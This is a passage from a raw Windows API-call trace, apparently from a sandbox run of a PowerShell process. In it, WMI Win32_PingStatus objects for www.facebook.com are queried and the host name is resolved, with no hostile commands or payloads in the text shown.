lLbound=0))), varVal2=0x0), pType=0x22fbfa8*=8200, plFlavor=0x22fbfac*=64) returned 0x0 [0142.369] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fbfa8*=8200, plFlavor=0x22fbfac*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78ea8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22fbfa8*=8200, plFlavor=0x22fbfac*=64) returned 0x0 [0142.370] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0142.370] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0142.370] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.370] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0142.370] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0142.375] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.376] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e5fc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e5f0 | out: pNames=0x572e5f0*="\x01ƀ\x04") returned 0x0 [0142.376] SafeArrayGetDim (psa=0x5c78e48) returned 0x1 [0142.376] SafeArrayGetDim (psa=0x5c78e48) returned 0x1 [0142.376] SafeArrayGetLBound (in: psa=0x5c78e48, nDim=0x1, plLbound=0x572e488 | out: plLbound=0x572e488) returned 0x0 [0142.376] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.376] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.376] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.376] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.376] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.376] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.376] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.376] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.376] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.377] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.377] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.377] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.377] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.377] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.377] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.377] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.377] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.377] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.377] SysStringByteLen (bstr="__PATH") returned 0xc [0142.377] SysStringByteLen (bstr="__PATH") returned 0xc [0142.377] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fc7f8*=0, plFlavor=0x22fc7fc*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22fc7f8*=3, plFlavor=0x22fc7fc*=64) returned 0x0 [0142.378] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fc82c*=0, plFlavor=0x22fc830*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22fc82c*=8, plFlavor=0x22fc830*=64) returned 0x0 [0142.378] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.378] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.378] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fc884*=0, plFlavor=0x22fc888*=0 | out: pVal=0x572e5ec*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fc884*=8, plFlavor=0x22fc888*=64) returned 0x0 [0142.378] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DYNASTY", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fc8ac*=0, plFlavor=0x22fc8b0*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22fc8ac*=8, plFlavor=0x22fc8b0*=64) returned 0x0 [0142.378] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.378] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.378] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__RELPATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fc904*=0, plFlavor=0x22fc908*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22fc904*=8, plFlavor=0x22fc908*=64) returned 0x0 [0142.378] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.378] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0142.379] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fcae4*=0, plFlavor=0x22fcae8*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22fcae4*=3, plFlavor=0x22fcae8*=64) returned 0x0 [0142.379] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__DERIVATION", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fcb18*=0, plFlavor=0x22fcb1c*=0 | out: pVal=0x572e5ec*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e78*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22fcb18*=8200, plFlavor=0x22fcb1c*=64) returned 0x0 [0142.379] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SERVER", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fcb4c*=0, plFlavor=0x22fcb50*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22fcb4c*=8, plFlavor=0x22fcb50*=64) returned 0x0 [0142.379] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.379] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0142.380] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fcb98*=0, plFlavor=0x22fcb9c*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22fcb98*=8, plFlavor=0x22fcb9c*=64) returned 0x0 [0142.380] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.380] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.380] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__PATH", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fcbe4*=0, plFlavor=0x22fcbe8*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22fcbe4*=8, plFlavor=0x22fcbe8*=64) returned 0x0 [0142.380] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.380] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0142.380] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e630 | out: puCount=0x572e630*=0x2) returned 0x0 [0142.380] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0x0, pszText=0x0 | out: puBuffLength=0x572e62c*=0xf, pszText=0x0) returned 0x0 [0142.380] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e62c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e62c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.380] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="address", lFlags=0, pVal=0x572e62c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fce20*=0, plFlavor=0x22fce24*=0 | out: pVal=0x572e62c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22fce20*=8, plFlavor=0x22fce24*=0) returned 0x0 [0142.381] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.381] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.381] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="address", lFlags=0, pVal=0x572e680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22fce20*=8, plFlavor=0x22fce24*=0 | out: pVal=0x572e680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22fce20*=8, plFlavor=0x22fce24*=0) returned 0x0 [0142.381] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.381] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0142.381] GetAddrInfoW (in: pNodeName="www.facebook.com", pServiceName=0x0, pHints=0x572e6d0*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x572e678 | out: ppResult=0x572e678*=0x5c870b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c79a70*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) returned 0 [0142.428] FreeAddrInfoW (pAddrInfo=0x5c870b0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="star-mini.c10r.facebook.com", ai_addr=0x5c79a70*(sa_family=2, sin_port=0x0, sin_addr="69.171.250.35"), ai_next=0x0)) [0142.429] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0142.429] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x572e3b8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0142.430] EtwEventActivityIdControl () returned 0x0 [0142.430] EtwEventActivityIdControl () returned 0x0 [0142.430] EtwEventActivityIdControl () returned 0x0 [0142.430] EtwEventActivityIdControl () returned 0x0 [0142.430] EtwEventActivityIdControl () returned 0x0 [0142.430] EtwEventActivityIdControl () returned 0x0 [0142.433] EtwEventWriteTransfer () returned 0x0 [0142.438] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x588 [0142.438] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0142.439] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0142.439] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.439] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23080f0*=0, plFlavor=0x23080f4*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x23080f0*=8, plFlavor=0x23080f4*=64) returned 0x0 [0142.439] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.439] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.439] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__NAMESPACE", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23080f0*=8, plFlavor=0x23080f4*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x23080f0*=8, plFlavor=0x23080f4*=64) returned 0x0 [0142.439] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.439] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0142.439] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0142.439] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0142.439] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.439] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x230818c*=0, plFlavor=0x2308190*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x230818c*=8, plFlavor=0x2308190*=64) returned 0x0 [0142.439] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.439] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.440] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x230818c*=8, plFlavor=0x2308190*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x230818c*=8, plFlavor=0x2308190*=64) returned 0x0 [0142.440] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.440] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.440] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0142.440] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0142.440] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.440] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23082e8*=0, plFlavor=0x23082ec*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e78*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23082e8*=8200, plFlavor=0x23082ec*=64) returned 0x0 [0142.440] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x23082e8*=8200, plFlavor=0x23082ec*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x23082e8*=8200, plFlavor=0x23082ec*=64) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.441] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2308550*=0, plFlavor=0x2308554*=0 | out: pVal=0x572e5d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2308550*=8, plFlavor=0x2308554*=64) returned 0x0 [0142.441] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.441] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.441] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2308550*=8, plFlavor=0x2308554*=64 | out: pVal=0x572e5e0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2308550*=8, plFlavor=0x2308554*=64) returned 0x0 [0142.441] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.441] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.441] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5dc | out: puCount=0x572e5dc*=0x2) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0x0, pszText=0x0 | out: puBuffLength=0x572e5d8*=0xf, pszText=0x0) returned 0x0 [0142.441] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5d8*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5d8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.441] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572e5d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2308678*=0, plFlavor=0x230867c*=0 | out: pVal=0x572e5d8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e78*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2308678*=8200, plFlavor=0x230867c*=64) returned 0x0 [0142.442] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__Derivation", lFlags=0, pVal=0x572e5e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2308678*=8200, plFlavor=0x230867c*=64 | out: pVal=0x572e5e0*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78e48*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58998, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2308678*=8200, plFlavor=0x230867c*=64) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e5f4 | out: puCount=0x572e5f4*=0x2) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0x0, pszText=0x0 | out: puBuffLength=0x572e5f0*=0xf, pszText=0x0) returned 0x0 [0142.442] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e5f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e5f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0142.442] IWbemClassObject:GetNames (in: This=0x5c8ed30, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e5fc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e5f0 | out: pNames=0x572e5f0*="\x01ƀ\x04") returned 0x0 [0142.442] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.442] SafeArrayGetDim (psa=0x5c78ea8) returned 0x1 [0142.442] SafeArrayGetLBound (in: psa=0x5c78ea8, nDim=0x1, plLbound=0x572e488 | out: plLbound=0x572e488) returned 0x0 [0142.443] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.443] SysStringByteLen (bstr="__GENUS") returned 0xe [0142.443] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.443] SysStringByteLen (bstr="__CLASS") returned 0xe [0142.443] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.443] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0142.443] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.443] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0142.443] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.443] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0142.443] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.443] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0142.443] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.443] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0142.443] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.443] SysStringByteLen (bstr="__SERVER") returned 0x10 [0142.443] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.443] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0142.443] SysStringByteLen (bstr="__PATH") returned 0xc [0142.443] SysStringByteLen (bstr="__PATH") returned 0xc [0142.444] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__GENUS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2308eb4*=0, plFlavor=0x2308eb8*=0 | out: pVal=0x572e5ec*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2308eb4*=3, plFlavor=0x2308eb8*=64) returned 0x0 [0142.444] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__CLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2308ee8*=0, plFlavor=0x2308eec*=0 | out: pVal=0x572e5ec*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2308ee8*=8, plFlavor=0x2308eec*=64) returned 0x0 [0142.444] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.444] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0142.444] IWbemClassObject:Get (in: This=0x5c8ed30, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e5ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2308f40*=0, plFlavor=0x2308f44*=0 | out: pVal=0x572e5ec*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2308f40*=8, plFlavor=0x2308f44*=64) returned 0x0 [0142.444] 